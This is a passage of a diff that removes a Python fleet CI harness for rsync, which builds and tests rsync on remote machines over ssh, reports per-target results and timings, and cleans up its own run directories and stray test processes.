remaining\n-    # The initial run's non-zero exit was the now-recovered failures; once they\n-    # all pass on retry the cell is OK, so clear the stale exit code (only the\n-    # failed tests can make runtests exit non-zero on a no-skip-list re-run).\n-    if not remaining and tr.recovered and tr.exit_code != 0:\n-        tr.exit_code = 0\n-\n-\n-@dataclasses.dataclass\n-class TargetResult:\n-    target: str\n-    reachable: bool = True\n-    pushed: bool = True\n-    build_ok: bool = True\n-    error: str = \"\"\n-    build_log: str = \"\"\n-    transports: dict[str, TransportResult] = dataclasses.field(default_factory=dict)\n-    # Wall-clock seconds per phase (push/build/pipe/tcp/nonroot) plus \"total\";\n-    # populated for --timing. Phases run sequentially, so they sum to the total.\n-    timings: dict[str, float] = dataclasses.field(default_factory=dict)\n-\n-\n-# ---------------------------------------------------------------------------\n-# per-target worker\n-# ---------------------------------------------------------------------------\n-\n-_print_lock = threading.Lock()\n-\n-\n-def log(msg: str) -> None:\n-    with _print_lock:\n-        print(msg, flush=True)\n-\n-\n-def run_target(t: Target, args, staging: str) -> TargetResult:\n-    res = TargetResult(t.name)\n-    log(f\"[{t.name}] start\")\n-    started = time.monotonic()\n-\n-    if t.ssh_host:\n-        ping = run_on(t, \"echo ok\", timeout=25)\n-        if ping.rc != 0:\n-            res.reachable = False\n-            res.error = f\"ssh unreachable (rc={ping.rc}): {ping.out.strip()[:200]}\"\n-            log(f\"[{t.name}] UNREACHABLE\")\n-            return res\n-\n-    # Always push: the run dir is freshly named per run, so there is no prior\n-    # tree to reuse -- every run is a full configure + build.\n-    t0 = time.monotonic()\n-    push = subprocess.run(push_argv(t, staging),\n-                          capture_output=True, text=True, timeout=600)\n-    res.timings[\"push\"] = time.monotonic() - t0\n-    if push.returncode != 0:\n-        res.pushed = False\n-        res.error = f\"push failed (rc={push.returncode}): {push.stderr.strip()[:300]}\"\n-        log(f\"[{t.name}] PUSH-FAIL\")\n-        return res\n-\n-    t0 = time.monotonic()\n-    b = run_on(t, build_script(t), timeout=1200)\n-    res.timings[\"build\"] = time.monotonic() - t0\n-    res.build_ok = b.rc == 0\n-    res.build_log = b.out\n-    if not res.build_ok:\n-        log(f\"[{t.name}] BUILD-FAIL\")\n-        return res\n-\n-    for transport in args.transports:\n-        skip_csv = workflow_skip_for(t) if transport == \"pipe\" else None\n-        jobs = (args.jobs if args.jobs else\n-                (t.tcp_jobs if transport == \"tcp\" else t.pipe_jobs))\n-        cmd = test_script(t, transport, skip_csv, jobs)\n-        t0 = time.monotonic()\n-        r = run_on(t, cmd, timeout=2400)\n-        res.timings[transport] = time.monotonic() - t0\n-        tr = parse_transport(transport, r, skip_csv is not None, t.xfail)\n-        retry_failed(t, transport, tr, lambda names, tp=transport: run_on(\n-            t, test_script(t, tp, None, 1, only=names), timeout=1200))\n-        res.transports[transport] = tr\n-        log(f\"[{t.name}] {transport} done \"\n-            f\"({'ok' if tr.ok else 'ISSUE'})\")\n-\n-    # Extra older-protocol passes (mirroring the workflow's check30/check29\n-    # steps): same stdio-pipe transport, but each protocol uses its own\n-    # check30/check29 skip list (a feature like xattrs/ACLs runs at proto 30 yet\n-    # skips at 29). Only targets that list `protocols` opt in; skipped under\n-    # --transport tcp (these are pipe runs).\n-    if t.protocols and \"pipe\" in args.transports:\n-        jobs = args.jobs if args.jobs else t.pipe_jobs\n-        for proto in t.protocols:\n-            label = f\"proto{proto}\"\n-            skip_csv = workflow_skip_for(t, f\"check{proto}\")\n-            cmd = test_script(t, \"pipe\", skip_csv, jobs, protocol=proto)\n-            t0 = time.monotonic()\n-            r = run_on(t, cmd, timeout=2400)\n-            res.timings[label] = time.monotonic() - t0\n-            tr = parse_transport(label, r, skip_csv is not None, t.xfail)\n-            retry_failed(t, label, tr, lambda names, pr=proto: run_on(\n-                t, test_script(t, \"pipe\", None, 1, protocol=pr, only=names),\n-                timeout=1200))\n-            res.transports[label] = tr\n-            log(f\"[{t.name}] {label} done \"\n-                f\"({'ok' if tr.ok else 'ISSUE'})\")\n-\n-    # Extra non-root pass (after the sudo runs) for targets that opt in, running\n-    # the tests that declare `fleet_nonroot = True` (discovered in main()).\n-    if t.nonroot and args.nonroot_tests:\n-        t0 = time.monotonic()\n-        r = run_on(t, nonroot_test_script(t, args.nonroot_tests), timeout=2400)\n-        res.timings[\"nonroot\"] = time.monotonic() - t0\n-        tr = parse_transport(\"nonroot\", r, skip_checked=False, xfail_extra=t.xfail)\n-        retry_failed(t, \"nonroot\", tr, lambda names: run_on(\n-            t, nonroot_test_script(t, names), timeout=1200))\n-        res.transports[\"nonroot\"] = tr\n-        log(f\"[{t.name}] nonroot done \"\n-            f\"({'ok' if tr.ok else 'ISSUE'})\")\n-    res.timings[\"total\"] = time.monotonic() - started\n-    return res\n-\n-\n-# ---------------------------------------------------------------------------\n-# reporting\n-# ---------------------------------------------------------------------------\n-\n-\n-def cell_status(res: TargetResult, transport: str) -> str:\n-    if not res.reachable:\n-        return \"UNREACHABLE\"\n-    if not res.pushed:\n-        return \"PUSH-FAIL\"\n-    if not res.build_ok:\n-        return \"BUILD-FAIL\"\n-    tr = res.transports.get(transport)\n-    if tr is None:\n-        return \"-\"\n-    if tr.timed_out:\n-        return \"TIMEOUT\"\n-    if tr.failed:\n-        return f\"FAIL({len(tr.failed)})\"\n-    if tr.skip_mismatch:\n-        return \"SKIP-MISMATCH\"\n-    if tr.exit_code != 0:\n-        return f\"EXIT({tr.exit_code})\"\n-    return \"OK\"\n-\n-\n-def print_report(results: list[TargetResult], args, fleet: list[Target]) -> bool:\n-    by_name = {t.name: t for t in fleet}\n-    order = {t.name: i for i, t in enumerate(fleet)}\n-    results.sort(key=lambda r: order.get(r.target, 99))\n-    # protoNN columns appear only when some target ran that older-protocol pass;\n-    # the 'nonroot' column only when some target ran a non-root pass. Targets\n-    # without a given pass show \"-\" there (a neutral N/A, not a failure).\n-    transports = list(args.transports)\n-    protos = {k for r in results for k in r.transports if k.startswith(\"proto\")}\n-    # highest protocol first (proto30 before proto29), matching check30/check29.\n-    transports += sorted(protos, key=lambda c: int(c[len(\"proto\"):]), reverse=True)\n-    if any(\"nonroot\" in r.transports for r in results):\n-        transports.append(\"nonroot\")\n-    ts = time.strftime(\"%Y-%m-%d %H:%M\")\n-    print(\"\\n\" + \"=\" * 64)\n-    print(f\"rsync fleet CI — branch {current_branch()} — {ts}\")\n-    print(f\"source: HEAD   run: {args.run_id}   \"\n-          f\"transports: {','.join(args.transports)}\")\n-    print(\"(A target's pipe skip-set is only enforced when its workflow sets \"\n-          \"RSYNC_EXPECT_SKIPPED; otherwise only FAILs matter. The 'nonroot' \"\n-          \"column runs the privilege-sensitive tests as the unprivileged user; \"\n-          \"'-' = N/A.)\")\n-    print(\"=\" * 64)\n-\n-    width = max(len(t) for t in order) + 2\n-    header = \"TARGET\".ljust(width) + \"\".join(tr.upper().ljust(16) for tr in transports)\n-    print(header)\n-    all_ok = True\n-    for res in results:\n-        row = res.target.ljust(width)\n-        for transport in transports:\n-            st = cell_status(res, transport)\n-            if st not in (\"OK\", \"-\"):    # \"-\" = N/A (e.g. no nonroot pass)\n-                all_ok = False\n-            row += st.ljust(16)\n-        # data-driven row notes: local target, or a target with a distinct tcp -j\n-        t = by_name.get(res.target)\n-        notes = []\n-        if t is not None:\n-            if t.ssh_host is None:\n-                notes.append(\"(local)\")\n-            if \"tcp\" in transports and t.tcp_jobs != t.pipe_jobs:\n-                notes.append(f\"(tcp -j{t.tcp_jobs})\")\n-        print(row + \" \".join(notes))\n-\n-    # detail section: only the unexpected cells\n-    details: list[str] = []\n-    for res in results:\n-        if not res.reachable:\n-            details.append(f\"{res.target} — UNREACHABLE: {res.error}\")\n-            continue\n-        if not res.pushed:\n-            details.append(f\"{res.target} — PUSH-FAIL: {res.error}\")\n-            continue\n-        if not res.build_ok:\n-            tail = \"\\n    \".join(res.build_log.strip().splitlines()[-20:])\n-            details.append(f\"{res.target} — BUILD-FAIL:\\n    {tail}\")\n-            continue\n-        for transport in transports:\n-            tr = res.transports.get(transport)\n-            if tr is None or tr.ok:\n-                continue\n-            if tr.timed_out:\n-                details.append(f\"{res.target} / {transport} — TIMEOUT\")\n-            if tr.failed:\n-                details.append(f\"{res.target} / {transport} — {len(tr.failed)} failed:\\n    \"\n-                               + \" \".join(tr.failed))\n-            if tr.skip_mismatch:\n-                extra = tr.skip_got - tr.skip_expected\n-                missing = tr.skip_expected - tr.skip_got\n-                diff = []\n-                if extra:\n-                    diff.append(f\"unexpected skips: {','.join(sorted(extra))}\")\n-                if missing:\n-                    diff.append(f\"expected-but-ran: {','.join(sorted(missing))}\")\n-                details.append(f\"{res.target} / {transport} — skip mismatch (\"\n-                               + \"; \".join(diff) + \")\\n\"\n-                               f\"    expected: {','.join(sorted(tr.skip_expected))}\\n\"\n-                               f\"    got:      {','.join(sorted(tr.skip_got))}\")\n-            elif not tr.failed and not tr.timed_out and tr.exit_code != 0:\n-                details.append(f\"{res.target} / {transport} — runtests exit {tr.exit_code}\")\n-\n-    # Exclude N/A (\"-\") cells (e.g. the nonroot column for targets that don't\n-    # run a non-root pass) from the OK/not-OK tally.\n-    statuses = [cell_status(res, transport)\n-                for res in results for transport in transports]\n-    cells = sum(1 for s in statuses if s != \"-\")\n-    ok_cells = sum(1 for s in statuses if s == \"OK\")\n-    print(\"=\" * 64)\n-    if details:\n-        print(\"==== UNEXPECTED RESULTS ====\")\n-        for d in details:\n-            print(d)\n-        print(\"=\" * 64)\n-    # Recovered flakes: tests that failed but passed within the target's\n-    # max_retry budget.  The cell counts as OK, but list them so a flaky test is\n-    # never silently swallowed.\n-    recovered = [f\"{res.target} / {transport}: {','.join(tr.recovered)}\"\n-                 for res in results for transport in transports\n-                 if (tr := res.transports.get(transport)) and tr.recovered]\n-    if recovered:\n-        print(\"==== RECOVERED (flaky -- failed, then passed on retry) ====\")\n-        for r in recovered:\n-            print(f\"    {r}\")\n-        print(\"=\" * 64)\n-    xfreq = [f\"{res.target} / {transport}: {','.join(tr.xfailed_req)}\"\n-             for res in results for transport in transports\n-             if (tr := res.transports.get(transport)) and tr.xfailed_req]\n-    if xfreq:\n-        print(\"==== XFAILED BY REQUEST (--xfail; failure tolerated, cell still OK) ====\")\n-        for r in xfreq:\n-            print(f\"    {r}\")\n-        print(\"=\" * 64)\n-    print(f\"{len(results)} targets x {len(transports)} transports = {cells} cells: \"\n-          f\"{ok_cells} OK, {cells - ok_cells} not OK\")\n-    return all_ok\n-\n-\n-def target_ok(res: TargetResult) -> bool:\n-    \"\"\"True if this target produced no unexpected result at all -- reachable,\n-    pushed, built, and every pass it ran was OK.\"\"\"\n-    if not (res.reachable and res.pushed and res.build_ok):\n-        return False\n-    return all(tr.ok for tr in res.transports.values())\n-\n-\n-def keep_on_fail(results: list[TargetResult], args,\n-                 chosen: list[Target]) -> list[str]:\n-    \"\"\"--keep-on-fail: for every target that did NOT come back clean, save its\n-    full output locally and mark its remote run dir to survive the exit sweep.\n-\n-    A fleet run is expensive (a full configure + build on ten machines), and the\n-    report only prints the names of failing tests -- so re-running was the only\n-    way to see WHY one failed, at the cost of another full run, on a race test\n-    that may not fail the same way twice.  Saving the raw output at the moment of\n-    failure, and keeping the tree that produced it, makes that re-run\n-    unnecessary.  Clean targets are untouched: they are still swept as usual.\n-\n-    Returns human-readable lines describing what was kept, for the report.\"\"\"\n-    failed = [r for r in results if not target_ok(r)]\n-    if not failed:\n-        return []\n-    root = Path(args.keep_on_fail).expanduser() / args.run_id\n-    notes: list[str] = []\n-    for res in failed:\n-        _retain_targets.add(res.target)\n-        d = root / _dirsafe(res.target)\n-        try:\n-            d.mkdir(parents=True, exist_ok=True)\n-            if res.error:\n-                (d / \"error.txt\").write_text(res.error + \"\\n\")\n-            if res.build_log:\n-                (d / \"build.log\").write_text(res.build_log)\n-            for name, tr in res.transports.items():\n-                (d / f\"{name}.log\").write_text(tr.raw)\n-            saved = str(d)\n-        except OSError as e:\n-            saved = f\"(could not write logs: {e})\"\n-        notes.append(f\"{res.target}: logs {saved}\")\n-        # The remote tree is only meaningful if the run got far enough to make\n-        # one; an unreachable or un-pushed target has nothing to keep.\n-        if res.reachable and res.pushed:\n-            t = next((x for x in chosen if x.name == res.target), None)\n-            if t is not None:\n-                where = f\"{t.ssh_host}:{t.builddir}\" if t.ssh_host else t.builddir\n-                notes.append(f\"{res.target}: run dir kept at {where}\")\n-    return notes\n-\n-\n-# Phase columns for --timing, in execution order (push -> build -> tests).\n-_TIMING_PHASES = (\"push\", \"build\", \"pipe\", \"tcp\", \"nonroot\")\n-\n-\n-def _fmt_dur(s: float) -> str:\n-    if s < 60:\n-        return f\"{s:.0f}s\"\n-    m, sec = divmod(int(round(s)), 60)\n-    return f\"{m}m{sec:02d}s\"\n-\n-\n-def print_timing(results: list[TargetResult]) -> None:\n-    \"\"\"Per-target wall-clock breakdown, slowest first. Targets run in parallel,\n-    so the whole run is gated by the slowest one -- that's the hold-up; the\n-    phase columns show whether it's push, build or the test passes.\"\"\"\n-    timed = [r for r in results if r.timings]\n-    if not timed:\n-        return\n-    # Insert any protoNN phases (highest first) just before nonroot, in run order.\n-    protos = sorted({k for r in timed for k in r.timings if k.startswith(\"proto\")},\n-                    key=lambda c: int(c[len(\"proto\"):]), reverse=True)\n-    order = [p for p in _TIMING_PHASES if p != \"nonroot\"] + protos + [\"nonroot\"]\n-    phases = [p for p in order if any(p in r.timings for r in timed)]\n-\n-    def total(r: TargetResult) -> float:\n-        # Failed-early targets have no \"total\"; sum the phases they did reach.\n-        return r.timings.get(\"total\") or sum(r.timings.get(p, 0.0) for p in phases)\n-\n-    timed.sort(key=total, reverse=True)\n-    width = max([len(\"TARGET\")] + [len(r.target) for r in timed]) + 2\n-    print(\"\\n==== TIMING (slowest target first) ====\")\n-    print(\"TARGET\".ljust(width) + \"TOTAL\".ljust(9)\n-          + \"\".join(p.upper().ljust(9) for p in phases))\n-    for r in timed:\n-        row = r.target.ljust(width) + _fmt_dur(total(r)).ljust(9)\n-        for p in phases:\n-            v = r.timings.get(p)\n-            row += (_fmt_dur(v) if v is not None else \"-\").ljust(9)\n-        print(row)\n-    slow = timed[0]\n-    print(f\"hold-up: {slow.target} at {_fmt_dur(total(slow))} gates the run \"\n-          \"(targets run in parallel)\")\n-\n-\n-def current_branch() -> str:\n-    try:\n-        return subprocess.run([\"git\", \"-C\", str(REPO), \"rev-parse\",\n-                               \"--abbrev-ref\", \"HEAD\"],\n-                              capture_output=True, text=True).stdout.strip() or \"?\"\n-    except Exception:\n-        return \"?\"\n-\n-\n-# ---------------------------------------------------------------------------\n-# run-dir cleanup\n-# ---------------------------------------------------------------------------\n-\n-# Targets whose per-run dir (t.builddir, already suffixed with the run_id) this\n-# process must remove on exit. Populated in main() once the run_id is applied.\n-_cleanup_targets: list[Target] = []\n-_cleanup_lock = threading.Lock()\n-_cleanup_done = False\n-# Names of targets whose run dir must survive the exit sweep (--keep-on-fail,\n-# populated once results are in). Everything else is removed as usual.\n-_retain_targets: set[str] = set()\n-\n-\n-def _dirsafe(name: str) -> str:\n-    \"\"\"A target name reduced to what is safe in a remote path we later rm -rf.\n-    Anything outside [A-Za-z0-9._-] becomes '_', so a name cannot introduce a\n-    path separator, a shell metacharacter, or a leading dash.\"\"\"\n-    return re.sub(r'[^A-Za-z0-9._-]', '_', name).lstrip('-') or 'target'\n-\n-\n-def _unsafe_builddir(path: str) -> bool:\n-    \"\"\"True if `path` is too broad to feed to `rm -rf` -- empty, root, $HOME, or\n-    an absolute path sitting directly under / (e.g. /tmp). A real run dir is\n-    always nested deeper, so this rejects an obvious builddir misconfiguration\n-    before any destructive command is built.\"\"\"\n-    p = (path or \"\").rstrip(\"/\")\n-    if p in (\"\", \"/\", \"~\") or os.path.expanduser(p) == os.path.expanduser(\"~\"):\n-        return True\n-    return os.path.isabs(p) and os.path.dirname(p) == \"/\"\n-\n-\n-def cleanup_run() -> None:\n-    \"\"\"Best-effort `rm -rf` of this run's dir on every chosen target. Idempotent\n-    (atexit + a signal handler may both call it). Each target removes only its\n-    own <base>-<run_id> dir, so a concurrent run's dir is never touched.\n-\n-    Targets listed in _retain_targets are left alone -- that is --keep-on-fail\n-    holding a failed target's tree (build output plus the scratch trees the\n-    failing tests left) for a post-mortem.\"\"\"\n-    global _cleanup_done\n-    with _cleanup_lock:\n-        if _cleanup_done or not _cleanup_targets:\n-            return\n-        _cleanup_done = True\n-        targets = [t for t in _cleanup_targets if t.name not in _retain_targets]\n-    for t in targets:\n-        if _unsafe_builddir(t.builddir):\n-            continue\n-        run_on(t, f'rm -rf -- {t.builddir}', timeout=60)\n-\n-\n-def _on_signal(signum, frame):\n-    cleanup_run()\n-    # Skip atexit/thread-join: worker threads' ssh calls can't be cancelled and\n-    # would otherwise block exit until they return. The remote build/test simply\n-    # errors out now that its dir is gone.\n-    os._exit(130 if signum == signal.SIGINT else 143)\n-\n-\n-# sweep() counts a pattern, kills it (best effort; sudo -n retry for processes a\n-# root-running test left), then RE-counts after a settle so we report what\n-# actually died (KILLED = before-after) and flag any survivor (SURVIVED, sets\n-# fail) instead of claiming success when pkill couldn't reach it. The patterns\n-# use the pgrep self-exclusion trick -- 'r[e]name'/'det[a]ch'/'[l]ocalhost' match a\n-# real process's \"rename\"/\"detach\"/\"localhost\" but not the bracketed literal in this\n-# script's own argv (run_on passes the whole script as the remote argv), so we never\n-# signal ourselves. The client sweep catches an orphaned `rsync rsync://localhost:N/`\n-# left blocked on a read when its test was killed (no I/O timeout). @BASE@ is\n-# substituted with the target's run-dir prefix.\n-_CLEANUP_SCRIPT = r'''fail=0\n-# Cygwin signals are cooperative, so a process stuck in a Windows call ignores\n-# even SIGKILL and pkill cannot touch it -- exactly how an orphaned test rsyncd\n-# ends up squatting its port forever. Where taskkill exists, finish the job\n-# through Windows using the winpid (4th column of `ps -W`).\n-win_force() {\n-  command -v taskkill >/dev/null 2>&1 || return 0\n-  command -v ps >/dev/null 2>&1 || return 0\n-  for p in $(pgrep -f \"$1\" 2>/dev/null); do\n-    w=$(ps -W 2>/dev/null | awk -v x=\"$p\" '$1==x {print $4}')\n-    [ -n \"$w\" ] && taskkill /F /PID \"$w\" >/dev/null 2>&1\n-  done\n-}\n-sweep() {\n-  command -v pgrep >/dev/null 2>&1 || return 0\n-  before=$(pgrep -f \"$2\" 2>/dev/null | wc -l | tr -d ' ')\n-  [ \"$before\" -gt 0 ] 2>/dev/null || return 0\n-  pkill -f \"$2\" 2>/dev/null\n-  sudo -n pkill -f \"$2\" 2>/dev/null\n-  sleep 1\n-  if [ \"$(pgrep -f \"$2\" 2>/dev/null | wc -l | tr -d ' ')\" -gt 0 ] 2>/dev/null; then\n-    win_force \"$2\"\n-    sleep 1\n-  fi\n-  after=$(pgrep -f \"$2\" 2>/dev/null | wc -l | tr -d ' ')\n-  killed=$((before - after))\n-  [ \"$killed\" -gt 0 ] 2>/dev/null && echo \"KILLED $killed stray $1(s)\"\n-  if [ \"$after\" -gt 0 ] 2>/dev/null; then\n-    echo \"SURVIVED $after stray $1(s)\"\n-    fail=1\n-  fi\n-}\n-sweep flipper 'r[e]name.*r[e]name.*r[e]name'\n-sweep daemon 'det[a]ch --address=127.0.0.1'\n-sweep client 'rsync://[l]ocalhost'\n-for d in @BASE@-*; do\n-  [ -e \"$d\" ] || continue\n-  if rm -rf -- \"$d\" 2>/dev/null || sudo -n rm -rf -- \"$d\" 2>/dev/null; then\n-    echo \"REMOVED $d\"\n-  else\n-    echo \"FAILED $d\"\n-    fail=1\n-  fi\n-done\n-exit $fail\n-'''\n-\n-\n-def cleanup_remnants(targets: list[Target]) -> int:\n-    \"\"\"--cleanup mode: on each target, kill the stray processes a killed run can\n-    leave behind, then remove every <base>-* run dir, reporting what went.\n-    Returns a process exit code. Only suffixed run dirs are swept -- a bare\n-    <base> is left alone.\n-\n-    A run that is SIGKILLed (or whose ssh drops) can strand two kinds of process\n-    on platforms without a parent-death backstop: the TOCTOU path-flipper (a\n-    busy `python -c` rename loop that pins a CPU) and an orphaned test rsyncd\n-    (`--no-detach --address=127.0.0.1`, which then squats its fixed port -- the\n-    very wedge claim_ports()' bind-probe now reports). Both are killed best\n-    effort (sudo -n retry for root-owned ones); a kill is verified by re-counting\n-    afterwards, and a process that survives is reported and fails the run.\n-\n-    CAVEAT: the kill patterns are host-global, not scoped to a particular run, so\n-    --cleanup assumes no *other* fleettest run is active on the target -- it\n-    would also kill a concurrent run's flipper/daemon (and any manual `rsync\n-    --daemon --no-detach --address=127.0.0.1`). Run it between runs, not during\n-    one. Run dirs whose contents a root test owns are removed via a `sudo -n rm`\n-    fallback; only a dir that survives even that is a failure.\"\"\"\n-    rc = 0\n-    for t in targets:\n-        base = t.builddir\n-        if _unsafe_builddir(base):\n-            log(f\"[{t.name}] skipped (unsafe builddir {base!r})\")\n-            continue\n-        # Structured markers (KILLED/SURVIVED/REMOVED/FAILED) keep the report\n-        # clean even though run_on() folds stderr into stdout.\n-        r = run_on(t, _CLEANUP_SCRIPT.replace(\"@BASE@\", base), timeout=120)\n-        lines = r.out.splitlines()\n-        removed = [ln.split(\" \", 1)[1] for ln in lines if ln.startswith(\"REMOVED \")]\n-        failed = [ln.split(\" \", 1)[1] for ln in lines if ln.startswith(\"FAILED \")]\n-        killed = [ln.replace(\"KILLED \", \"killed \", 1)\n-                  for ln in lines if ln.startswith(\"KILLED \")]\n-        survived = [ln.replace(\"SURVIVED \", \"still alive: \", 1)\n-                    for ln in lines if ln.startswith(\"SURVIVED \")]\n-        msgs = killed[:]\n-        if removed:\n-            msgs.append(\"removed: \" + \" \".join(removed))\n-        if survived:\n-            rc = 1\n-            msgs += survived\n-        if failed:\n-            rc = 1\n-            msgs.append(\"could not remove (even with sudo): \" + \" \".join(failed))\n-        if r.rc not in (0, 1):\n-            rc = 1\n-            msgs.append(f\"cleanup error rc={r.rc}: {r.out.strip()[:160]}\")\n-        log(f\"[{t.name}] \" + (\"; \".join(msgs) if msgs else \"nothing to remove\"))\n-    return rc\n-\n-\n-# ---------------------------------------------------------------------------\n-# main\n-# ---------------------------------------------------------------------------\n-\n-\n-def main() -> int:\n-    ap = argparse.ArgumentParser(description=\"Fleet CI harness for rsync.\")\n-    ap.add_argument(\"--targets\", help=\"comma-separated subset (default: all)\")\n-    ap.add_argument(\"--transport\", choices=[\"pipe\", \"tcp\", \"both\"], default=\"both\")\n-    ap.add_argument(\"--keep\", action=\"store_true\",\n-                    help=\"keep each run's build dir (default: remove it at exit)\")\n-    ap.add_argument(\"--keep-on-fail\", nargs=\"?\", const=\"fleettest-logs\",\n-                    metavar=\"DIR\",\n-                    help=\"for targets that came back with anything unexpected, \"\n-                    \"save the full build/test output under DIR/<run-id>/<target>/ \"\n-                    \"and keep that target's remote run dir (clean targets are \"\n-                    \"swept as usual). Makes a failure inspectable without \"\n-                    \"repeating the run. DIR defaults to ./fleettest-logs\")\n-    ap.add_argument(\"--cleanup\", action=\"store_true\",\n-                    help=\"kill stray flippers/test daemons and remove stray \"\n-                    \"<builddir>-* run dirs (root-owned via sudo -n) on the \"\n-                    \"targets, then exit; run between runs, not during one \"\n-                    \"(kills are host-global)\")\n-    ap.add_argument(\"--jobs\", type=int, help=\"override -j for both transports\")\n-    ap.add_argument(\"--full-tcp\", action=\"store_true\",\n-                    help=\"run the whole suite in the tcp pass. By default that \"\n-                    \"pass runs only the tests that can reach the daemon \"\n-                    \"transport, since the rest just repeat the pipe pass over \"\n-                    \"the same build\")\n-    ap.add_argument(\"--timing\", action=\"store_true\",\n-                    help=\"report per-target wall-clock (push/build/test) to find \"\n-                    \"the slowest target\")\n-    ap.add_argument(\"--repo\", help=\"rsync source tree to build (default: cwd)\")\n-    ap.add_argument(\"--testsuite-repo\",\n-                    help=\"rsync tree to take runtests.py + testsuite/ from \"\n-                    \"(default: --repo). Build one tree and run another's test \"\n-                    \"suite against it, e.g. --repo ../rsync-v3.4 --testsuite-repo .\")\n-    ap.add_argument(\"--fleet\", help=\"fleet config JSON (default: ~/.fleettest.json, \"\n-                    \"else fleettest.json next to this script)\")\n-    ap.add_argument(\"--skip\", metavar=\"LIST\",\n-                    help=\"comma-separated test-name globs to exclude from every \"\n-                    \"run on every target (passed to runtests as RSYNC_EXCLUDE; \"\n-                    \"the tests are not run). E.g. --skip 'chmod-option,prealloc*'\")\n-    ap.add_argument(\"--xfail\", metavar=\"LIST\",\n-                    help=\"comma-separated test-name globs whose FAILURE is \"\n-                    \"tolerated: a matching fail is listed but does not make a \"\n-                    \"cell 'not OK'. For known stable-gap tests you still want to \"\n-                    \"run. E.g. --xfail 'chmod-option,preallocate,crtimes'\")\n-    ap.add_argument(\"--list\", action=\"store_true\", help=\"list targets and exit\")\n-    args = ap.parse_args()\n-\n-    global SKIP_CSV, XFAIL_GLOBS, TIMING, FULL_TCP, BACKPORT_EXCLUDE\n-    SKIP_CSV = \",\".join(s.strip() for s in (args.skip or \"\").split(\",\") if s.strip())\n-    XFAIL_GLOBS = [s.strip() for s in (args.xfail or \"\").split(\",\") if s.strip()]\n-    TIMING = args.timing\n-    FULL_TCP = args.full_tcp\n-\n-    global REPO, WORKFLOWS, TESTSUITE_REPO\n-    REPO = Path(args.repo).resolve() if args.repo else Path.cwd()\n-    TESTSUITE_REPO = Path(args.testsuite_repo).resolve() if args.testsuite_repo else REPO\n-    # The expected-skip lists travel with the suite, so read workflows from the\n-    # tree that provides the tests.\n-    WORKFLOWS = TESTSUITE_REPO / \".github\" / \"workflows\"\n-\n-    # A tree that is OLDER than the suite being run against it -- a backport\n-    # branch under --testsuite-repo -- cannot pass tests for fixes and features\n-    # it does not carry, and cannot build the suite's newer unit-test helpers.\n-    # It declares those in its own testsuite/skiplist/backport.txt, which is\n-    # read from the BUILT tree, not the suite tree, because only the built tree\n-    # knows what it lacks.  The names are excluded outright (RSYNC_EXCLUDE)\n-    # rather than declared as expected skips: some of them fail rather than\n-    # skip, and an expected-skip list cannot describe a failure.\n-    bp = REPO / \"testsuite\" / \"skiplist\" / \"backport.txt\"\n-    if bp.is_file():\n-        names = [ln.split(\"#\", 1)[0].strip() for ln in bp.read_text().splitlines()]\n-        names = [x for x in names if x]\n-        if names:\n-            SKIP_CSV = \",\".join(x for x in ([SKIP_CSV] + names) if x)\n-            BACKPORT_EXCLUDE[:] = names\n-            print(f\"[backport] excluding {len(names)} test(s) declared in \"\n-                  f\"{bp.relative_to(REPO)}\")\n-    if not args.cleanup:\n-        # The Python test suite (runtests.py + testsuite/) comes from\n-        # TESTSUITE_REPO, so that is where runtests.py must live.  The build tree\n-        # (REPO) only has to be a buildable rsync source -- it may be an older\n-        # release whose runtests.py predates the Python suite, or lacks it.\n-        if not (TESTSUITE_REPO / \"runtests.py\").is_file():\n-            print(f\"{TESTSUITE_REPO} has no runtests.py; run from inside a \"\n-                  f\"checkout or pass --testsuite-repo a tree with the Python \"\n-                  f\"test suite\", file=sys.stderr)\n-            return 2\n-        if not (REPO / \"rsync.h\").is_file():\n-            print(f\"{REPO} is not an rsync source tree (no rsync.h); \"\n-                  f\"run from inside a checkout or pass --repo\", file=sys.stderr)\n-            return 2\n-\n-    if args.fleet:\n-        config_path = Path(args.fleet).resolve()\n-        if not config_path.exists():\n-            print(f\"no fleet config at {config_path}\", file=sys.stderr)\n-            return 2\n-    else:\n-        config_path = next((p for p in DEFAULT_CONFIGS if p.exists()), None)\n-        if config_path is None:\n-            tried = \" or \".join(str(p) for p in DEFAULT_CONFIGS)\n-            print(f\"no fleet config found (looked for {tried})\\n\"\n-                  f\"copy {EXAMPLE_CONFIG} to {SCRIPT_CONFIG} or {HOME_CONFIG} \"\n-                  f\"(or pass --fleet PATH)\", file=sys.stderr)\n-            return 2\n-    fleet = load_fleet(config_path)\n-\n-    if args.list:\n-        for t in fleet:\n-            host = t.ssh_host or \"(local)\"\n-            skip = parse_workflow_skip(t.workflow)\n-            proto = (\",\".join(f\"proto{p}\" for p in t.protocols)\n-                     if t.protocols else \"none\")\n-            print(f\"{t.name:12} {host:18} {t.make:6} \"\n-                  f\"pipe-skip={'set' if skip else 'unset'} protocols={proto}\")\n-        return 0\n-\n-    chosen = fleet\n-    if args.targets:\n-        want = [s.strip() for s in args.targets.split(\",\") if s.strip()]\n-        by_name = {t.name: t for t in fleet}\n-        bad = [w for w in want if w not in by_name]\n-        if bad:\n-            print(f\"unknown target(s): {', '.join(bad)}\", file=sys.stderr)\n-            print(f\"known: {', '.join(by_name)}\", file=sys.stderr)\n-            return 2\n-        chosen = [by_name[w] for w in want]\n-\n-    if args.cleanup:\n-        # Sweep every <builddir>-* run dir on the selected targets. NB: this\n-        # also removes dirs belonging to runs that are still in progress, so\n-        # only run it when no other fleettest runs are active (or scope with\n-        # --targets).\n-        return cleanup_remnants(chosen)\n-\n-    args.transports = [\"pipe\", \"tcp\"] if args.transport == \"both\" else [args.transport]\n-    global TRANSPORTS\n-    TRANSPORTS = args.transports\n-    if \"tcp\" in args.transports and \"pipe\" not in args.transports and not FULL_TCP:\n-        log(\"note: --transport tcp is the only pass, so it runs the WHOLE suite \"\n-            \"(the daemon-only narrowing needs a pipe pass to cover the rest)\")\n-\n-    # Give this run its own build dir on every target so concurrent runs don't\n-    # collide, and name it after the target too, because two targets can share\n-    # one machine: <builddir>-<run_id>-<target>. Without the target part they\n-    # would push into the same tree, and the second would inherit the first's\n-    # config.h/Makefile and never reconfigure with its own flags. The base name\n-    # is still the prefix --cleanup globs.\n-    args.run_id = secrets.token_hex(3)\n-    for t in chosen:\n-        t.builddir = f\"{t.builddir}-{args.run_id}-{_dirsafe(t.name)}\"\n-    log(f\"run {args.run_id}: build dir <target>:{chosen[0].builddir.rsplit('-', 1)[0]}-<target> \"\n-        f\"(removed at exit; --keep to retain)\")\n-\n-    # Remove each run 